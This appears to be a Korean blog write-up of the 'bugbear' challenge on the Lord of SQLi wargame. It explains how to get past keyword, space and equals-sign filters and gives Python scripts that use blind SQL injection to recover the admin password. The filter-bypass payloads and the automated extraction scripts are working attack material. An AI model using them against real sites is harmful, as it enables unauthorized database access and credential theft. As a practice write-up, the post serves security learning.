bugbear 입장!
bugbear도 똑같이 admin의 password를 알아내야 하는 문제다.
이번 문제는 no에서 싱글쿼터와 함수명 뿐만 아니라 or, and, 공백, like까지 필터링하고 있다.
or와 and는 ||와 &&를 대체로 쓰면되고, 공백은 %0a를 사용하여 우회할 수 있다.
like같은 경우 등호 문자를 대체하여 쓴 것이었기 때문에 등호 문자 필터링을 우회할 수 있는 다른 방법을 사용하면 된다.
등호문자 필터링 우회 방법은 아래와 같다.
① LIKE 연산자
- id like "admin"
② IN 연산자
- id in ("admin")
③ instr(string $str, string $substr)
- instr(id, "admin")
④ 부등호 (< , >)
- length(pw) > 7 and length(pw) < 9
필자는 in 연산자를 사용해서 우회했다.
위 필터링 우회 방법을 사용해서 password의 길이를 구했다.
import requests
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID' : 'mhqtu5prhfu4vrj3ouh3fat832'}
i = 1
while True:
query='?no=0%0a%7c%7c%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)<'+str(i)+'%23'
result = requests.get(url+query, cookies=cookies)
if("Hello admin" in result.text):
break;
print(i)
i+=1
print("Password Length :", i-1)
password의 길이는 8이다.
이제 password를 구해보자.
import requests
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID' : 'mhqtu5prhfu4vrj3ouh3fat832'}
pw=""
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 96: continue
query='?no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(i)+',1)%0ain%0a("'+chr(ch)+'")'
result=requests.get(url+query, cookies=cookies)
if("Hello admin" in result.text):
pw += chr(ch)
print("[+] Finding...", pw)
break
print("[*] Password :", pw)
아래는 자동화프로그램의 실행결과다.
password는 52dc3991이다.
password를 get방식으로 전달해보자.
bugbear 해결!
'Study > Web Hacking' 카테고리의 다른 글
[LOS] giant (0) | 2021.07.26 |
---|---|
[natas] Level 22 -> Level 23 (0) | 2021.07.26 |
[natas] Level 21 -> Level 22 (0) | 2021.07.20 |
[LOS] darkknight (0) | 2021.07.17 |
[natas] Level 20 -> Level 21 (0) | 2021.07.17 |